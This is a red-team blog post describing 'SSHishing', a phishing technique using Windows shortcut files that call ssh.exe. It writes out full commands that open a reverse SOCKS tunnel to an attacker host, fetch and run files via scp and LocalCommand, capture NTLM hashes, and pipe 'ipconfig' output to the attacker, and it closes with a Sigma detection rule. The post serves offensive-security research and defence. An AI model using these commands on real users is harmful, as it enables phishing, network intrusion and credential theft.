SSHishing – Abusing Shortcut Files and the Windows SSH Client for Initial Access

Table of Contents

By: Alex Reid, Current Red Siege Intern

SSH-ishing? Suh-shishing? Have you gotten your blood pressure checked recently?

In the April 2018 release of Windows 10 version 1803, Microsoft announced that the Windows OpenSSH client would ship and be enabled by default (with the server remaining an optional feature that must be manually enabled). While this provided a positive quality of life change for a small group of Windows users (myself included), it also introduced some interesting new possibilities for offensive security shenanigans. Most documentation concerning SSH and offensive security relates to brute forcing SSH logins or creating tunnels for port forwarding; but when combined with other tradecraft, SSH offers some exciting possibilities as part of an unconventional initial access vector.

A Quick Word on Windows Shortcuts

Before proceeding to the “new” stuff, we should take a moment to discuss Windows shortcut files (.lnk). These have long been present on the offensive security stage, with the famous Stuxnet worm being an early example of their use in a kill chain. Small files that can run programs with supplied command line arguments, Ransomware gangs and threat actors continue to abuse this file format to spread malware; I myself have previously explored and released a tool related to creating malicious shortcuts. Many of these files target either cmd.exe or powershell.exe to execute arbitrary commands, often combined with an altered icon to help disguise the fact that it is not in fact the PDF or Excel spreadsheet that the user was promised:

Windows shortcut file targeting cmd.exe with an altered icon

The Windows SSH client (C:WindowsSystem32OpenSSHssh.exe) can also be targeted by a shortcut, with all manner of advanced options able to be passed as arguments as part of the “Target” field. Choosing a target that is NOT cmd.exe or powershell.exe drastically lowers the likelihood of the shortcut being flagged as malicious, so any binary that supports command execution or remote access of some kind is worth exploring.

Enter SSH

Initial access techniques frequently concern the retrieval and execution of an implant that provides the attacker code execution on the compromised machine. The existence of a baseline Windows SSH client opens the door to interesting alternatives, like opening a reverse dynamic port forward to an attacker’s machine using a Microsoft-distributed program:

VirusTotal analysis of ssh.exe (OpenSSH_for_Windows_9.5p1, LibreSSL 3.8.2)

Many offensive security professionals will be familiar with creating a dynamic port forward through SSH (e.g. ssh -D 9050 user@targetip), but fewer are likely aware of the ability to create a reverse one through use of the -R flag. This flag should also be familiar, as it is used to establish remote port forwards. As the OpenBSD man page for SSH explains, by failing to specify an explicit destination for traffic to be forwarded to, SSH will act as a SOCKS proxy (e.g. ssh -R 9050 hacker@attackerip):

-R [bind_address:]port:host:hostport

-R [bind_address:]port:local_socket

-R remote_socket:host:hostport

-R remote_socket:local_socket

-R [bind_address:]port

Specifies that connections to the given TCP port or Unix socket on the remote (server) host are to be forwarded to the local side.

This works by allocating a socket to listen to either a TCP port or to a Unix socket on the remote side. Whenever a connection is made to this port or Unix socket, the connection is forwarded over the secure channel, and a connection is made from the local machine to either an explicit destination specified by host port hostport, or local_socket, or, if no explicit destination was specified, ssh will act as a SOCKS 4/5 proxy and forward connections to the destinations requested by the remote SOCKS client.

This was also covered in a recent TrustedSec blog by @n00py entitled The SOCKS We Have at Home, which is a fantastic read and treads similar ground as this research.

In either case presented above, -D or -R, the result is the same: a port is bound on the attacker’s machine through which all manner of offensive tools can be ran locally and tunneled through to the victim network. This is illustrated in the following Paint 3D abomination:

A reverse dynamic port forward opened from a compromised host machine to a publicly routable attacker machine

So the working plan is to create a shortcut file that calls SSH to open a reverse dynamic port forward to our publicly routable machine (AWS, Digital Ocean, etc). Doing so presents some logistical challenges, as authenticating via SSH typically requires the user enter a password or supply a private key. The victim who opens the shortcut obviously doesn’t know the password for the account (nor do we probably want to ask them), and depending on how the shortcut file is distributed to victims (like in a .zip) it can be difficult to reliably deliver and access a key should the shortcut be ran from within a container. The easy answer is to simply not require a password OR key to login.

If alarm bells are going off in your head, they should be; this means that we will be distributing malware that allows ANYONE access to OUR machine, as to open a tunnel one must first successfully authenticate via SSH. This is a valid concern, but one that can be addressed via firewall rules as well as specific configuration changes to the SSH server configuration to restrict the capabilities of the account, both of which will be discussed further later.

Building a Monster

The SSH client supports a huge number of switches and options that modify the behavior of the client or the SSH session itself, a number of which jump out as potentially useful in the proposed scenario. The SSH Linux man page provides a great explanation and breakdown of the available options, most (all?) of which are mirrored and available in the Windows client that we are concerned with. By combining several of the available switches, a powerful and convincing phishing tool can be created.

The base SSH command to create a reverse dynamic port forward is:

ssh -R 0 user@attackerip

Specifying 0 for the port instructs SSH to identify and select an available port on the remote machine; this is essential in order to be able to support multiple simultaneous successful phishes, as if a static port were specified (like 9050) successive victims would be unable to bind the port and open the tunnel.

When using SSH to connect to a machine for the first time, a warning message is presented to the user:

SSH unknown host warning

This warning can be supressed by using the -o switch to disable the StrictHostKeyChecking setting:

-o "StrictHostKeyChecking=no"

The advantage provided by targeting ssh.exe with the shortcut file directly is accompanied by some disadvantages, chief among them that successive commands cannot be chained together and executed on the victim system; to use operators like && and ; requires a cmd.exe process, which we don’t have. Without the ability to execute additional commands it’s difficult to provide a convincing phishing experience that avoids suspicion. Luckily SSH offers the LocalCommand option, for which the Linux man page offers a good explanation:

LocalCommand

Specifies a command to execute on the local machine after successfully connecting to the server. The command string extends to the end of the line, and is executed with the user’s shell. The following escape character substitutions will be performed: ‘%d’ (local user’s home directory), ‘%h’ (remote host name), ‘%l’ (local host name), ‘%n’ (host name as provided on the command line), ‘%p’ (remote port), ‘%r’ (remote user name) or ‘%u’ (local user name). This directive is ignored unless PermitLocalCommand has been enabled.

With this option we can specify commands to be executed by a cmd.exe process that is spawned as a child of ssh.exe. Interestingly, ssh.exe is able to spawn cmd.exe and execute commands even when it has been disabled via GPO:

ssh.exe can spawn cmd.exe even when it is disabled via GPO

This opens up a new and exciting set of possibilities. It’s worth noting that there is a specific order of events when running SSH commands that use this option:

  1. SSH authenticates to the remote machine
  2. Commands specified by LocalCommand are ran
  3. Tunnels and/or SSH commands are created/executed

An idea that immediately came to mind was to call scp.exe to transfer a file from the attacker’s machine to the victim.  Additional commands can be chained to the SCP call using &&, and by calling the downloaded file directly it will be opened in whatever the default application is for the specified file type.. Note that using LocalCommand requires the PermitLocalCommand option be specified as well:

ssh -o "PermitLocalCommand=yes" -o "LocalCommand=scp sshisher@attackerip:myfile.pdf %userprofile%. && %userprofile%myfile.pdf" sshisher@attackerip

By combining this with the reverse dynamic port forward syntax, a plan starts to visualize: a shortcut file that looks like a PDF is downloaded and executed, and after a single obnoxious “are you sure you want to open this file” pop-up courtesy of the mark of the web, a real PDF will be downloaded and opened for the victim while a reverse dynamic port forward opens in the background.

There is even more that can be done however. For instance the -i switch, which identifies a private key to be used for authentication, can be used to try and load a key from a SMB share:

ssh -i attackeripkey.pem sshisher@attackerip

This key doesn’t really exist, so SSH falls back to password(less) authentication. By running responder on the attacker’s machine, Net-NTLMv2 hashes can be captured:

Net-NTLMv2 hashes captured by responder

How often SMB traffic is allowed to egress a network, and whether attempting to do so might arouse suspicion, is up for debate. An extremely scientific poll conducted on X found that 40% of respondents encountered SMB/445 traffic being allowed outbound in at least 25% of networks they encountered:

SMB is still allowed outbound in many cases

Speaking of firewalls and blocking outbound traffic, the -p switch can be used to SSH to a non-standard port. Some environments might block outbound traffic on port 22, but allow port 80 or 443 to egress the network. Annoyingly, the equivalent option when writing an scp command is -P:

ssh -o "PermitLocalCommand=yes" -o "LocalCommand=scp -P 443 sshisher@attackerip:myfile.pdf %userprofile%. && %userprofile%myfile.pdf" -p 443 sshisher@attackerip

Remember that while a tunnel has been opened through the victim system, exposing the internal network it is connected to, there is neither an implant to gather metadata about the system nor the ability to run follow-on situational awareness commands. Even the IP address of the victim machine (as recorded by the SSH session) will be a public one and thus not super helpful in determining the structure of the private network. Another neat trick to help combat these limitations is to run a command and pipe the output to SSH, which can be redirected to a file on the remote machine:

ipconfig /all | ssh sshisher@attackerip "cat - > %computername%_info.txt"

Output of ipconfig /all from a victim machine

Of course adding these additional capabilities makes it more difficult to secure the attacker’s machine. Bad enough that we are allowing users to connect without a password or key, but now they need to be able to:

  1. Download files using scp, but only from a certain directory
  2. Write data to files, but again only in an allowed location
  3. Open SSH tunnels, but not be allowed to use OUR server as a port forward to other places (e.g. -L or -D)

While the specifics of locking down the SSH server to meet these goals will not be explained, I would suggest looking into the following options and settings within /etc/ssh/sshd_config:

  1. The ForceCommand SSHD directive can be used to force the execution of a particular script upon login with SSH.
  2. The PermitOpen and PermitListen SSHD config options can be used to restrict local and remote port forwarding respectively.
  3. Disable SFTP to ensure no one can establish a session and browse the attacker’s system

The first two bullets can even be applied on a per-user basis:

An excerpt from  /etc/ssh/sshd_config on the attacker system

Putting it Together

By combining all of the above tips and tricks, a phishing experience like the following can be developed:

SSHishing in action

This demonstration had some aspects altered/changed in the interest of protecting IPs and information, but you get the gist. A custom chtunnel command makes managing tunnels much easier.

Other Possibilities

Aside from opening a reverse dynamic port forward, this technique could be used to run more traditional payloads. A major advantage of using scp.exe to transfer files to the victim machine is that the mark of the web is NOT applied. For example, a modified shortcut file might use scp to transfer a XLL payload to the victim and execute it by calling it directly:

SSHishing used to download and execute a XLL payload

Detection

There is an existing sigma rule that will detect a lot of what is covered in this blog post:

title: Lolbin Ssh.exe Use As Proxy
id: 7d6d30b8-5b91-4b90-a891-46cccaf29598
status: experimental
description: Detect usage of the "ssh.exe" binary as a proxy to launch other programs
references:
    - https://lolbas-project.github.io/lolbas/Binaries/Ssh/
    - https://github.com/LOLBAS-Project/LOLBAS/pull/211/files
    - https://gtfobins.github.io/gtfobins/ssh/
    - https://man.openbsd.org/ssh_config#ProxyCommand
    - https://man.openbsd.org/ssh_config#LocalCommand
author: frack113, Nasreddine Bencherchali
date: 2022/12/29
modified: 2023/01/25
tags:
    - attack.defense_evasion
    - attack.t1202
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        #ParentCommandLine: '"C:WindowsSystem32OpenSSHsshd.exe" -R'
        ParentImage: 'C:WindowsSystem32OpenSSHsshd.exe'
    selection_cli_img:
        Image|endswith: 'ssh.exe'
    selection_cli_flags:
        - CommandLine|contains: 'ProxyCommand='
        - CommandLine|contains|all:
            - 'PermitLocalCommand'
            - 'LocalCommand'
    condition: selection_parent or all of selection_cli_*
falsepositives:
    - Legitimate usage for administration purposes
level: medium

The rule looks for ssh.exe being ran with the PermitLocalCommand and LocalCommand options.


About Alex Reid, Intern:

Source: Original Post